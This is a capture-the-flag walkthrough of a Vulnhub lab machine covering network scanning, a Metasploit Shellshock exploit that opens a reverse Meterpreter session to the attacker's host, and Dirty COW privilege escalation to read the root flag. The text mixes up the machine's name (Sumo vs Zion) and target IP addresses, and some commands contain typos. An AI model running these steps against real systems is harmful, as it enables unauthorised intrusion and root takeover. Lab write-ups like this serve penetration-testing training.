Sumo: 1 Vulnhub Walkthrough

Today, I am going to share a writeup for the boot2root challenge of the Vulnhub machine “Zion: 1.1”. It was an intermediate box based on the Linux machine. The goal for this machine is to read the flag file

Penetration Testing Methodology

·         Network Scanning

o   Netdiscover scan

o   Nmap Scan

·         Enumeration

o   Enumerating HTTP service on Browser

o   Enumerating using Nikto

·         Exploitation

o   Exploiting Shellshock Vulnerability

o   Gaining Meterpreter

·         Post Exploitation

o   Enumerating for Escalating Privileges

·         Privilege Escalation

o   Dirty Cow

·         Reading Root Flag

Walkthrough

Network Scanning

We begin by scanning our network for the target machine using Netdiscover. The target machine is active on 192.168.1.109.

netdiscover

Let’s scan it and see which services are running and which ports are open.

nmap -p- -A 192.168.1.104

Enumeration

The scan gives us a lot of good and useful information, but what stands out the most is that port 22 and 80 are open, let’s explore port 80 first and see what we can find there.

This webpage seemed like a dead-end so, we decided to perform a Nikto scan in the hope that it will provide us some more insight.

nikto -h http://192.168.1.104

The Nikto scans the web application to find the /cgi-bin/ directory. It further inspects it to find that the application is vulnerable to Shellshock Vulnerability. Time to exploit it.

Exploitation

Open a terminal type msfconsole for loading Metasploit framework and use following module. This module targets CGI scripts in the Apache web server by setting the HTTP_USER_AGENT environment variable to a malicious function definition.

use exploit/multi/http/apache_mod_cgi_bash_env_exec

msf exploit(apache_mod_cgi_bash_env_exec) >set rhost 192.168.1.104

msf exploit(apache_mod_cgi_bash_env_exec) >set lhost 192.168.1.112

msf exploit(apache_mod_cgi_bash_env_exec) >set targeturi /cgi-bin/test

msf exploit(apache_mod_cgi_bash_env_exec) >expoit

We ran the sysinfo command to find that the Operating System of the Machine is Ubuntu 12.04. Operating Systems this old have a vulnerable kernel. We should try DIRTYCOW.

Privilege Escalation

I downloaded the exploit inside the host machine and then compiled it before running the exploit, so I ran the following commands.

gcc -pthread c0w.c -o c0w

Next, we upload that compiled file in the remote shell for getting into the root.

cd /tmp

upload /root/c0w .

./c0w

The shell that was generated has elevated privileges. To read the Root Flag, we will first convert this shell into a proper shell. Then we used the files created by the Dirty Cow exploit we log in as root. We can see that we have the root flag.

shell

python -c 'import pty; pty.spawn("/bin/sh")

./c0w

/usr/bin/passwd

cd /root

cat root.txt

Here we got our root flag. So that’s for now. See you next time.